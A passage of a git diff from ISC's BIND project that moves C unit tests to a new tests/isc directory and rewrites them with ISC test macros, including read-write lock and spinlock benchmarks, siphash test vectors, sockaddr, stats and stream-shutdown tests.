+	isc_rwlock_lock(&rwlock, isc_rwlocktype_read);
+
+	isc_barrier_wait(&barrier1);
+	isc_barrier_wait(&barrier2);
+
+	isc_rwlock_unlock(&rwlock, isc_rwlocktype_read);
+
+	return (NULL);
+}
+
+static void *
+trylock_thread2(void *arg __attribute__((__unused__))) {
+	isc_result_t result;
+
+	isc_barrier_wait(&barrier1);
+
+	result = isc_rwlock_trylock(&rwlock, isc_rwlocktype_read);
+	assert_int_equal(result, ISC_R_LOCKBUSY);
+
+	isc_barrier_wait(&barrier2);
+	isc_barrier_wait(&barrier1);
+
+	result = isc_rwlock_trylock(&rwlock, isc_rwlocktype_read);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_barrier_wait(&barrier2);
+
+	isc_rwlock_unlock(&rwlock, isc_rwlocktype_read);
+
+	return (NULL);
+}
+
+ISC_RUN_TEST_IMPL(isc_rwlock_trylock) {
+	isc_thread_t thread1;
+	isc_thread_t thread2;
+
+	isc_thread_create(trylock_thread1, NULL, &thread1);
+	isc_thread_create(trylock_thread2, NULL, &thread2);
+
+	isc_thread_join(thread2, NULL);
+	isc_thread_join(thread1, NULL);
+}
+
+static void *
+pthread_rwlock_thread(void *arg __attribute__((__unused__))) {
+	size_t cont = *(size_t *)arg;
+
+	for (size_t i = 0; i < loops; i++) {
+		if (rnd[i] < boundary) {
+			pthread_rwlock_wrlock(&prwlock);
+			size_t v = shared_counter;
+			isc_pause_n(delay_loop);
+			shared_counter = v + 1;
+			pthread_rwlock_unlock(&prwlock);
+		} else {
+			pthread_rwlock_rdlock(&prwlock);
+			isc_pause_n(delay_loop);
+			pthread_rwlock_unlock(&prwlock);
+		}
+		isc_pause_n(cont);
+	}
+
+	return (NULL);
+}
+
+static void *
+isc_rwlock_thread(void *arg __attribute__((__unused__))) {
+	size_t cont = *(size_t *)arg;
+
+	for (size_t i = 0; i < loops; i++) {
+		if (rnd[i] < boundary) {
+			isc_rwlock_lock(&rwlock, isc_rwlocktype_write);
+			size_t v = shared_counter;
+			isc_pause_n(delay_loop);
+			shared_counter = v + 1;
+			isc_rwlock_unlock(&rwlock, isc_rwlocktype_write);
+		} else {
+			isc_rwlock_lock(&rwlock, isc_rwlocktype_read);
+			isc_pause_n(delay_loop);
+			isc_rwlock_unlock(&rwlock, isc_rwlocktype_read);
+		}
+		isc_pause_n(cont);
+	}
+
+	return (NULL);
+}
+
+static void
+isc__rwlock_benchmark(isc_thread_t *threads, unsigned int nthreads,
+		      uint8_t pct) {
+	isc_time_t ts1, ts2;
+	double t;
+	int dc;
+	size_t cont;
+
+	expected_counter = ITERS * nthreads * loops *
+			   ((CNT_MAX - CNT_MIN) / DC + 1);
+
+	boundary = pct;
+
+	/* PTHREAD RWLOCK */
+
+	ts1 = isc_time_now_hires();
+
+	shared_counter = 0;
+	dc = DC;
+	for (size_t l = 0; l < ITERS; l++) {
+		for (cont = (dc > 0) ? CNT_MIN : CNT_MAX;
+		     cont <= CNT_MAX && cont >= CNT_MIN; cont += dc)
+		{
+			for (size_t i = 0; i < nthreads; i++) {
+				isc_thread_create(pthread_rwlock_thread, &cont,
+						  &threads[i]);
+			}
+			for (size_t i = 0; i < nthreads; i++) {
+				isc_thread_join(threads[i], NULL);
+			}
+		}
+		dc = -dc;
+	}
+
+	ts2 = isc_time_now_hires();
+
+	t = isc_time_microdiff(&ts2, &ts1);
+
+	printf("[ TIME     ] isc_rwlock_benchmark: %zu pthread_rwlock loops in "
+	       "%u threads, %2.3f%% writes, %2.3f seconds, %2.3f "
+	       "calls/second\n",
+	       expected_counter, nthreads,
+	       (double)shared_counter * 100 / expected_counter, t / 1000000.0,
+	       expected_counter / (t / 1000000.0));
+
+	/* ISC RWLOCK */
+
+	ts1 = isc_time_now_hires();
+
+	dc = DC;
+	shared_counter = 0;
+	for (size_t l = 0; l < ITERS; l++) {
+		for (cont = (dc > 0) ? CNT_MIN : CNT_MAX;
+		     cont <= CNT_MAX && cont >= CNT_MIN; cont += dc)
+		{
+			for (size_t i = 0; i < nthreads; i++) {
+				isc_thread_create(isc_rwlock_thread, &cont,
+						  &threads[i]);
+			}
+			for (size_t i = 0; i < nthreads; i++) {
+				isc_thread_join(threads[i], NULL);
+			}
+		}
+		dc = -dc;
+	}
+
+	ts2 = isc_time_now_hires();
+
+	t = isc_time_microdiff(&ts2, &ts1);
+
+	printf("[ TIME     ] isc_rwlock_benchmark: %zu isc_rwlock loops in "
+	       "%u threads, %2.3f%% writes, %2.3f seconds, %2.3f "
+	       "calls/second\n",
+	       expected_counter, nthreads,
+	       (double)shared_counter * 100 / expected_counter, t / 1000000.0,
+	       expected_counter / (t / 1000000.0));
+}
+
+ISC_RUN_TEST_IMPL(isc_rwlock_benchmark) {
+	isc_thread_t *threads = isc_mem_cget(mctx, workers, sizeof(*threads));
+
+	memset(threads, 0, sizeof(*threads) * workers);
+
+	for (unsigned int nthreads = workers; nthreads > 0; nthreads /= 2) {
+		isc__rwlock_benchmark(threads, nthreads, 0);
+		isc__rwlock_benchmark(threads, nthreads, 1);
+		isc__rwlock_benchmark(threads, nthreads, 10);
+		isc__rwlock_benchmark(threads, nthreads, 50);
+		isc__rwlock_benchmark(threads, nthreads, 90);
+		isc__rwlock_benchmark(threads, nthreads, 99);
+		isc__rwlock_benchmark(threads, nthreads, 100);
+	}
+
+	isc_mem_cput(mctx, threads, workers, sizeof(*threads));
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY_CUSTOM(isc_rwlock_rdlock, rwlock_setup, rwlock_teardown)
+ISC_TEST_ENTRY_CUSTOM(isc_rwlock_wrlock, rwlock_setup, rwlock_teardown)
+#if !defined(__SANITIZE_THREAD__)
+ISC_TEST_ENTRY_CUSTOM(isc_rwlock_tryupgrade, rwlock_setup, rwlock_teardown)
+ISC_TEST_ENTRY_CUSTOM(isc_rwlock_trylock, rwlock_setup, rwlock_teardown)
+ISC_TEST_ENTRY_CUSTOM(isc_rwlock_benchmark, rwlock_setup, rwlock_teardown)
+#endif /* __SANITIZE_THREAD__ */
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN_CUSTOM(setup_env, teardown_env)
diff --git a/lib/isc/tests/safe_test.c b/tests/isc/safe_test.c
similarity index 78%
rename from lib/isc/tests/safe_test.c
rename to tests/isc/safe_test.c
index b4de3be002..a3f01fe9af 100644
--- a/lib/isc/tests/safe_test.c
+++ b/tests/isc/safe_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,8 +13,7 @@
 
 /* ! \file */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -26,9 +27,10 @@
 #include <isc/safe.h>
 #include <isc/util.h>
 
+#include <tests/isc.h>
+
 /* test isc_safe_memequal() */
-static void
-isc_safe_memequal_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_safe_memequal) {
 	UNUSED(state);
 
 	assert_true(isc_safe_memequal("test", "test", 4));
@@ -42,8 +44,7 @@ isc_safe_memequal_test(void **state) {
 }
 
 /* test isc_safe_memwipe() */
-static void
-isc_safe_memwipe_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_safe_memwipe) {
 	UNUSED(state);
 
 	/* These should pass. */
@@ -82,24 +83,10 @@ isc_safe_memwipe_test(void **state) {
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_safe_memequal_test),
-		cmocka_unit_test(isc_safe_memwipe_test),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(isc_safe_memequal)
+ISC_TEST_ENTRY(isc_safe_memwipe)
 
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/siphash_test.c b/tests/isc/siphash_test.c
similarity index 91%
rename from lib/isc/tests/siphash_test.c
rename to tests/isc/siphash_test.c
index 3cc85fac90..6fca930306 100644
--- a/lib/isc/tests/siphash_test.c
+++ b/tests/isc/siphash_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,8 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
 #include <sched.h>
 #include <setjmp.h>
 #include <stdarg.h>
@@ -22,7 +24,9 @@
 
 #include <isc/siphash.h>
 
-#include "../siphash.c"
+#include "siphash.c"
+
+#include <tests/isc.h>
 
 const uint8_t vectors_sip64[64][8] = {
 	{ 0x31, 0x0e, 0x0e, 0xdd, 0x47, 0xdb, 0x6f, 0x72 },
@@ -126,8 +130,7 @@ const uint8_t vectors_hsip32[64][4] = {
 	{ 0xbd, 0x83, 0x99, 0x7a }, { 0x59, 0xea, 0x4a, 0x74 }
 };
 
-static void
-isc_siphash24_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_siphash24) {
 	UNUSED(state);
 
 	uint8_t in[64], out[8], key[16];
@@ -137,13 +140,12 @@ isc_siphash24_test(void **state) {
 
 	for (size_t i = 0; i < ARRAY_SIZE(in); i++) {
 		in[i] = i;
-		isc_siphash24(key, in, i, out);
+		isc_siphash24(key, in, i, true, out);
 		assert_memory_equal(out, vectors_sip64[i], 8);
 	}
 }
 
-static void
-isc_halfsiphash24_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_halfsiphash24) {
 	UNUSED(state);
 
 	uint8_t in[64], out[4], key[16];
@@ -153,29 +155,16 @@ isc_halfsiphash24_test(void **state) {
 
 	for (size_t i = 0; i < ARRAY_SIZE(in); i++) {
 		in[i] = i;
-		isc_halfsiphash24(key, in, i, out);
+		isc_halfsiphash24(key, in, i, true, out);
 		assert_memory_equal(out, vectors_hsip32[i], 4);
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_siphash24_test),
-		cmocka_unit_test(isc_halfsiphash24_test),
-	};
+ISC_TEST_LIST_START
 
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
+ISC_TEST_ENTRY(isc_siphash24)
+ISC_TEST_ENTRY(isc_halfsiphash24)
 
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/sockaddr_test.c b/tests/isc/sockaddr_test.c
similarity index 78%
rename from lib/isc/tests/sockaddr_test.c
rename to tests/isc/sockaddr_test.c
index c944b9bf1c..4dd70602a8 100644
--- a/lib/isc/tests/sockaddr_test.c
+++ b/tests/isc/sockaddr_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -24,36 +25,13 @@
 #include <cmocka.h>
 
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/sockaddr.h>
 #include <isc/util.h>
 
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
+#include <tests/isc.h>
 
 /* test sockaddr hash */
-static void
-sockaddr_hash(void **state) {
+ISC_RUN_TEST_IMPL(sockaddr_hash) {
 	isc_sockaddr_t addr;
 	struct in_addr in;
 	struct in6_addr in6;
@@ -78,13 +56,12 @@ sockaddr_hash(void **state) {
 }
 
 /* test isc_sockaddr_isnetzero() */
-static void
-sockaddr_isnetzero(void **state) {
+ISC_RUN_TEST_IMPL(sockaddr_isnetzero) {
 	isc_sockaddr_t addr;
 	struct in_addr in;
 	struct in6_addr in6;
 	bool r;
-	int ret;
+
 	size_t i;
 	struct {
 		const char *string;
@@ -121,7 +98,7 @@ sockaddr_isnetzero(void **state) {
 	}
 
 	for (i = 0; i < sizeof(data6) / sizeof(data6[0]); i++) {
-		ret = inet_pton(AF_INET6, data6[i].string, &in6);
+		int ret = inet_pton(AF_INET6, data6[i].string, &in6);
 		assert_int_equal(ret, 1);
 		isc_sockaddr_fromin6(&addr, &in6, 1);
 		r = isc_sockaddr_isnetzero(&addr);
@@ -133,8 +110,7 @@ sockaddr_isnetzero(void **state) {
  * test that isc_sockaddr_eqaddrprefix() returns true when prefixes of a
  * and b are equal, and false when they are not equal
  */
-static void
-sockaddr_eqaddrprefix(void **state) {
+ISC_RUN_TEST_IMPL(sockaddr_eqaddrprefix) {
 	struct in_addr ina_a;
 	struct in_addr ina_b;
 	struct in_addr ina_c;
@@ -161,26 +137,12 @@ sockaddr_eqaddrprefix(void **state) {
 	assert_false(isc_sockaddr_eqaddrprefix(&isa_a, &isa_c, 16));
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(sockaddr_hash, _setup,
-						_teardown),
-		cmocka_unit_test(sockaddr_isnetzero),
-		cmocka_unit_test(sockaddr_eqaddrprefix),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
+ISC_TEST_LIST_START
 
-#else /* HAVE_CMOCKA */
+ISC_TEST_ENTRY(sockaddr_hash)
+ISC_TEST_ENTRY(sockaddr_isnetzero)
+ISC_TEST_ENTRY(sockaddr_eqaddrprefix)
 
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/isc/spinlock_test.c b/tests/isc/spinlock_test.c
new file mode 100644
index 0000000000..ce500213d9
--- /dev/null
+++ b/tests/isc/spinlock_test.c
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <fcntl.h>
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#ifdef HAVE_PTHREAD_SPIN_INIT
+#define HAD_PTHREAD_SPIN_INIT 1
+#undef HAVE_PTHREAD_SPIN_INIT
+#endif
+
+#include <isc/atomic.h>
+#include <isc/file.h>
+#include <isc/mem.h>
+#include <isc/os.h>
+#include <isc/pause.h>
+#include <isc/result.h>
+#include <isc/spinlock.h>
+#include <isc/stdio.h>
+#include <isc/thread.h>
+#include <isc/time.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+static unsigned int loops = 100;
+static unsigned int delay_loop = 1;
+
+static int
+setup_env(void **unused __attribute__((__unused__))) {
+	char *env = getenv("ISC_BENCHMARK_LOOPS");
+	if (env != NULL) {
+		loops = atoi(env);
+	}
+	assert_int_not_equal(loops, 0);
+
+	env = getenv("ISC_BENCHMARK_DELAY");
+	if (env != NULL) {
+		delay_loop = atoi(env);
+	}
+	assert_int_not_equal(delay_loop, 0);
+
+	return (0);
+}
+
+ISC_RUN_TEST_IMPL(isc_spinlock) {
+	isc_spinlock_t lock;
+
+	isc_spinlock_init(&lock);
+
+	for (size_t i = 0; i < loops; i++) {
+		isc_spinlock_lock(&lock);
+		isc_pause_n(delay_loop);
+		isc_spinlock_unlock(&lock);
+	}
+
+	isc_spinlock_destroy(&lock);
+}
+
+#define ITERS 20
+
+#define DC	200
+#define CNT_MIN 800
+#define CNT_MAX 1600
+
+static size_t shared_counter = 0;
+static size_t expected_counter = SIZE_MAX;
+
+#if HAD_PTHREAD_SPIN_INIT
+static pthread_spinlock_t spin;
+
+static void *
+pthread_spin_thread(void *arg) {
+	size_t cont = *(size_t *)arg;
+
+	for (size_t i = 0; i < loops; i++) {
+		pthread_spin_lock(&spin);
+		size_t v = shared_counter;
+		isc_pause_n(delay_loop);
+		shared_counter = v + 1;
+		pthread_spin_unlock(&spin);
+		isc_pause_n(cont);
+	}
+
+	return (NULL);
+}
+#endif
+
+static isc_spinlock_t lock;
+
+static void *
+isc_spinlock_thread(void *arg) {
+	size_t cont = *(size_t *)arg;
+
+	for (size_t i = 0; i < loops; i++) {
+		isc_spinlock_lock(&lock);
+		size_t v = shared_counter;
+		isc_pause_n(delay_loop);
+		shared_counter = v + 1;
+		isc_spinlock_unlock(&lock);
+		isc_pause_n(cont);
+	}
+
+	return (NULL);
+}
+
+ISC_RUN_TEST_IMPL(isc_spinlock_benchmark) {
+	isc_thread_t *threads = isc_mem_cget(mctx, workers, sizeof(*threads));
+	isc_time_t ts1, ts2;
+	double t;
+	int dc;
+	size_t cont;
+
+	memset(threads, 0, sizeof(*threads) * workers);
+
+	expected_counter = ITERS * workers * loops *
+			   ((CNT_MAX - CNT_MIN) / DC + 1);
+
+	/* PTHREAD SPINLOCK */
+
+#if HAD_PTHREAD_SPIN_INIT
+	int r = pthread_spin_init(&spin, PTHREAD_PROCESS_PRIVATE);
+	assert_int_not_equal(r, -1);
+
+	ts1 = isc_time_now_hires();
+
+	shared_counter = 0;
+	dc = DC;
+	for (size_t l = 0; l < ITERS; l++) {
+		for (cont = (dc > 0) ? CNT_MIN : CNT_MAX;
+		     cont <= CNT_MAX && cont >= CNT_MIN; cont += dc)
+		{
+			for (size_t i = 0; i < workers; i++) {
+				isc_thread_create(pthread_spin_thread, &cont,
+						  &threads[i]);
+			}
+			for (size_t i = 0; i < workers; i++) {
+				isc_thread_join(threads[i], NULL);
+			}
+		}
+		dc = -dc;
+	}
+	assert_int_equal(shared_counter, expected_counter);
+
+	ts2 = isc_time_now_hires();
+
+	t = isc_time_microdiff(&ts2, &ts1);
+
+	printf("[ TIME     ] isc_spinlock_benchmark: %zu pthread_spin "
+	       "loops in "
+	       "%u threads, %2.3f seconds, %2.3f calls/second\n",
+	       shared_counter, workers, t / 1000000.0,
+	       shared_counter / (t / 1000000.0));
+
+	r = pthread_spin_destroy(&spin);
+	assert_int_not_equal(r, -1);
+#endif
+
+	/* ISC SPINLOCK */
+
+	isc_spinlock_init(&lock);
+
+	ts1 = isc_time_now_hires();
+
+	dc = DC;
+	shared_counter = 0;
+	for (size_t l = 0; l < ITERS; l++) {
+		for (cont = (dc > 0) ? CNT_MIN : CNT_MAX;
+		     cont <= CNT_MAX && cont >= CNT_MIN; cont += dc)
+		{
+			for (size_t i = 0; i < workers; i++) {
+				isc_thread_create(isc_spinlock_thread, &cont,
+						  &threads[i]);
+			}
+			for (size_t i = 0; i < workers; i++) {
+				isc_thread_join(threads[i], NULL);
+			}
+		}
+		dc = -dc;
+	}
+	assert_int_equal(shared_counter, expected_counter);
+
+	ts2 = isc_time_now_hires();
+
+	t = isc_time_microdiff(&ts2, &ts1);
+
+	printf("[ TIME     ] isc_spinlock_benchmark: %zu isc_spinlock loops "
+	       "in %u "
+	       "threads, %2.3f seconds, %2.3f calls/second\n",
+	       shared_counter, workers, t / 1000000.0,
+	       shared_counter / (t / 1000000.0));
+
+	isc_spinlock_destroy(&lock);
+
+	isc_mem_cput(mctx, threads, workers, sizeof(*threads));
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_spinlock)
+#if !defined(__SANITIZE_THREAD__)
+ISC_TEST_ENTRY(isc_spinlock_benchmark)
+#endif /* __SANITIZE_THREAD__ */
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN_CUSTOM(setup_env, NULL)
diff --git a/tests/isc/stats_test.c b/tests/isc/stats_test.c
new file mode 100644
index 0000000000..4bc541f33c
--- /dev/null
+++ b/tests/isc/stats_test.c
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/mem.h>
+#include <isc/result.h>
+#include <isc/stats.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+/* test stats */
+ISC_RUN_TEST_IMPL(isc_stats_basic) {
+	isc_stats_t *stats = NULL;
+
+	isc_stats_create(mctx, &stats, 4);
+	assert_int_equal(isc_stats_ncounters(stats), 4);
+
+	/* Default all 0. */
+	for (int i = 0; i < isc_stats_ncounters(stats); i++) {
+		assert_int_equal(isc_stats_get_counter(stats, i), 0);
+	}
+
+	/* Test increment. */
+	for (int i = 0; i < isc_stats_ncounters(stats); i++) {
+		isc_stats_increment(stats, i);
+		assert_int_equal(isc_stats_get_counter(stats, i), 1);
+		isc_stats_increment(stats, i);
+		assert_int_equal(isc_stats_get_counter(stats, i), 2);
+	}
+
+	/* Test decrement. */
+	for (int i = 0; i < isc_stats_ncounters(stats); i++) {
+		isc_stats_decrement(stats, i);
+		assert_int_equal(isc_stats_get_counter(stats, i), 1);
+		isc_stats_decrement(stats, i);
+		assert_int_equal(isc_stats_get_counter(stats, i), 0);
+	}
+
+	/* Test set. */
+	for (int i = 0; i < isc_stats_ncounters(stats); i++) {
+		isc_stats_set(stats, i, i);
+		assert_int_equal(isc_stats_get_counter(stats, i), i);
+	}
+
+	/* Test update if greater. */
+	for (int i = 0; i < isc_stats_ncounters(stats); i++) {
+		isc_stats_update_if_greater(stats, i, i);
+		assert_int_equal(isc_stats_get_counter(stats, i), i);
+		isc_stats_update_if_greater(stats, i, i + 1);
+		assert_int_equal(isc_stats_get_counter(stats, i), i + 1);
+	}
+
+	/* Test resize. */
+	isc_stats_resize(&stats, 3);
+	assert_int_equal(isc_stats_ncounters(stats), 4);
+	isc_stats_resize(&stats, 4);
+	assert_int_equal(isc_stats_ncounters(stats), 4);
+	isc_stats_resize(&stats, 5);
+	assert_int_equal(isc_stats_ncounters(stats), 5);
+
+	/* Existing counters are retained */
+	for (int i = 0; i < isc_stats_ncounters(stats); i++) {
+		uint32_t expect = i + 1;
+		if (i == 4) {
+			expect = 0;
+		}
+		assert_int_equal(isc_stats_get_counter(stats, i), expect);
+	}
+
+	isc_stats_detach(&stats);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_stats_basic)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/stream_shutdown.c b/tests/isc/stream_shutdown.c
new file mode 100644
index 0000000000..fc0264cb7a
--- /dev/null
+++ b/tests/isc/stream_shutdown.c
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include "netmgr_common.h"
+
+#include <tests/isc.h>
+
+/*
+ * FIXME: This really needs two network managers, so there's predictable result
+ * when shuttingdown the netmgr - right now there's a race whether the listening
+ * or connecting sockets gets shutdown first
+ */
+
+static void
+shutdownconnect_connectcb(isc_nmhandle_t *handle, isc_result_t eresult,
+			  void *cbarg) {
+	F();
+
+	assert_non_null(handle);
+	assert_int_equal(eresult, ISC_R_SHUTTINGDOWN);
+	assert_null(cbarg);
+
+	isc_refcount_decrement(&active_cconnects);
+
+	atomic_fetch_add(&cconnects, 1);
+}
+
+int
+stream_shutdownconnect_setup(void **state ISC_ATTR_UNUSED) {
+	int r = setup_netmgr_test(state);
+	return (r);
+}
+
+void
+stream_shutdownconnect(void **state ISC_ATTR_UNUSED) {
+	isc_result_t result = stream_listen(stream_accept_cb, NULL, 128, NULL,
+					    &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+
+	/* Schedule the shutdown before the connect */
+	isc_loopmgr_shutdown(loopmgr);
+
+	stream_connect(shutdownconnect_connectcb, NULL, T_CONNECT);
+}
+
+int
+stream_shutdownconnect_teardown(void **state ISC_ATTR_UNUSED) {
+	X(cconnects);
+	X(csends);
+	X(creads);
+
+	atomic_assert_int_eq(cconnects, 1);
+	atomic_assert_int_eq(csends, 0);
+	atomic_assert_int_eq(creads, 0);
+
+	return (teardown_netmgr_test(state));
+}
+
+/* Issue the shutdown before reading */
+
+static void
+shutdownread_readcb(isc_nmhandle_t *handle, isc_result_t eresult,
+		    isc_region_t *region, void *cbarg) {
+	F();
+	assert_non_null(handle);
+	assert_true(eresult == ISC_R_SHUTTINGDOWN ||
+		    eresult == ISC_R_CONNECTIONRESET || eresult == ISC_R_EOF);
+	assert_non_null(region);
+	assert_null(cbarg);
+
+	atomic_fetch_add(&creads, 1);
+	isc_nmhandle_detach(&handle);
+	isc_refcount_decrement(&active_creads);
+}
+
+static void
+shutdownread_sendcb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	F();
+	assert_non_null(handle);
+	assert_true(eresult == ISC_R_SUCCESS || eresult == ISC_R_SHUTTINGDOWN ||
+		    eresult == ISC_R_CONNECTIONRESET || eresult == ISC_R_EOF);
+	assert_null(cbarg);
+
+	atomic_fetch_add(&csends, 1);
+
+	isc_nmhandle_detach(&handle);
+	isc_refcount_decrement(&active_csends);
+}
+
+static void
+shutdownread_connectcb(isc_nmhandle_t *handle, isc_result_t eresult,
+		       void *cbarg) {
+	F();
+
+	assert_non_null(handle);
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+	assert_null(cbarg);
+
+	isc_refcount_decrement(&active_cconnects);
+
+	atomic_fetch_add(&cconnects, 1);
+
+	/* Schedule the shutdown before read and send */
+	isc_loopmgr_shutdown(loopmgr);
+
+	isc_refcount_increment0(&active_creads);
+	isc_nmhandle_ref(handle);
+	isc_nm_read(handle, shutdownread_readcb, cbarg);
+
+	isc_refcount_increment0(&active_csends);
+	isc_nmhandle_ref(handle);
+	isc_nm_send(handle, (isc_region_t *)&send_msg, shutdownread_sendcb,
+		    cbarg);
+}
+
+int
+stream_shutdownread_setup(void **state ISC_ATTR_UNUSED) {
+	int r = setup_netmgr_test(state);
+	return (r);
+}
+
+void
+stream_shutdownread(void **state ISC_ATTR_UNUSED) {
+	isc_result_t result = stream_listen(stream_accept_cb, NULL, 128, NULL,
+					    &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+
+	stream_connect(shutdownread_connectcb, NULL, T_CONNECT);
+}
+
+int
+stream_shutdownread_teardown(void **state ISC_ATTR_UNUSED) {
+	X(cconnects);
+	X(csends);
+	X(creads);
+
+	atomic_assert_int_eq(cconnects, 1);
+	atomic_assert_int_eq(csends, 1);
+	atomic_assert_int_eq(creads, 1);
+
+	return (teardown_netmgr_test(state));
+}
diff --git a/tests/isc/symtab_test.c b/tests/isc/symtab_test.c
new file mode 100644
index 0000000000..2b4f30d9f2
--- /dev/null
+++ b/tests/isc/symtab_test.c
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
